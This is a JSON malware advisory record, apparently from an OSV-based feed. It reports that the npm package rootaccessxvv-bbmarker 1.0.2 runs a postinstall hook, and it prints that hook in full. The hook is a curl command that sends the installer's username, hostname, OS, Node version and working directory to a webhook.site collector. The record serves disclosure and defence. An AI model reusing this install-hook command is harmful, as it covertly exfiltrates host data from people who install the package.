{"id":"MAL-2026-18108","kind":"package","aliases":["MAL-2026-18108"],"related":[],"title":"Malicious code in rootaccessxvv-bbmarker (npm)","description":"Its `postinstall` hook runs on npm install: `curl -s -m 10 -X POST \"https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof\" -H \"Content-Type: text/plain\" --data-binary \"DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv\" || true`. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to `https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof`. The npm account `mohamed2343224` published it on 2026-10-18.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (126c6e67bc80ed62f5e620ef9a8ce11ca39653348a59bc8d7a1d0cef76f72a02)\npackage.json declares a postinstall lifecycle script that runs on `npm install` and POSTs installer host identifiers to a hardcoded webhook.site collector at https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The script shells out to `whoami`, `hostname`, `uname`, and `node -v`, concatenates the output with the current working directory, and sends the result via `curl -X POST`. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled.","summary":null,"severity":"critical","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"rootaccessxvv-bbmarker","fixed":[],"affected":"= 1.0.2","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["malicious","package"],"not_affected_if":[],"how_to_check":null,"fix":null,"status":"open","published_at":"2026-10-18T05:50:46+00:00","first_seen_at":"2026-10-26T20:51:48+00:00","triaged_at":"2026-10-26T21:06:18+00:00","updated_at":"2026-10-26T21:06:18+00:00","category":"package","confidence":null,"triage":null,"analyst_status":null,"analyst_note":null,"search":"'-10':103C '-18':104C '-18108':10A,13A '-2026':9A,12A '/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof':34C,94C '/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof.':143C '/dev/null':59C '1.0.2':67C '10':29C '126c6e67bc80ed62f5e620ef9a8ce11ca39653348a59bc8d7a1d0cef76f72a02':118C '2':58C '2026':102C 'account':97C 'aggreg':180C 'amazon':116C 'amazon-inspector':115C 'anonym':175C 'attack':220C,229C 'attacker-control':219C 'automat':204C 'bbmarker':6A,16A,66C 'behavior':203C 'benign':69C 'benign-research-rootaccessxvv':68C 'binari':42C 'chain':228C 'code':2A 'collect':75C,208C 'collector':139C,222C 'concaten':155C 'concept':200C 'content':37C 'content-typ':36C 'control':221C 'curl':26C,168C 'current':160C 'cwd':61C 'data':41C 'data-binari':40C 'declar':120C 'depend':188C 'describ':194C 'destin':172C 'detail':107C 'directori':84C,162C 'dpd':44C 'dpd-registry-rce-proof':43C 'edit':110C 'exfiltr':210C 'h':35C 'hardcod':137C 'hook':21C,74C 'host':50C,133C,215C 'hostnam':51C,78C,150C 'ident':213C 'identifi':134C 'inspector':117C 'instal':25C,129C,132C,186C,206C,212C 'install-tim':185C,205C 'label':235C 'legitim':184C 'lifecycl':123C 'line':113C 'm':28C 'mal':8A,11A 'malici':1A,17B 'metadata':216C 'mohamed2343224':98C 'name':87C,191C 'node':52C,53C,153C 'node.js':79C 'npm':7A,24C,96C,128C 'oper':81C 'os':55C 'output':157C 'packag':18B,86C,190C 'package.json':119C 'parti':178C 'per':105C 'pkg':63C 'post':31C,131C,170C 'postinstal':20C,122C 'proof':47C,198C 'proof-of-concept':197C 'publish':99C 'pwd':62C 'rce':46C 'regardless':230C 'registri':45C 'research':70C 'result':166C 'rootaccessxvv':5A,15A,65C,71C 'rootaccessxvv-bbmark':4A,64C 'rootaccessxvv-bbmarker':14A 'run':22C,126C 'script':124C,145C 'self':193C 'self-describ':192C 'send':89C,164C 'shell':146C 'sourc':106C,114C 'suppli':227C 'supply-chain':226C 'system':82C 'text/plain':39C 'third':177C 'third-parti':176C 'time':187C,207C 'true':72C 'type':38C 'unam':56C,151C 'unrel':181C 'user':48C 'usernam':77C 'v':154C 'ver':60C 'version':54C,80C 'via':167C 'webhook':179C 'webhook.site':33C,93C,138C,142C 'webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof':32C,92C 'webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof.':141C 'whoami':49C,149C 'work':83C,161C,225C 'x':30C,169C","nicknames":[],"mitigations":[],"who_affected":null,"tier":null,"verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-18T05:50:46+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"osv-malicious","external_id":"MAL-2026-18108","url":"https://osv.dev/vulnerability/MAL-2026-18108","severity":"critical","published_at":"2026-10-18T05:50:46+00:00","modified_at":"2026-10-21T02:30:06+00:00","first_seen_at":"2026-10-26T20:51:48+00:00","fetched_at":"2026-10-26T20:51:48+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}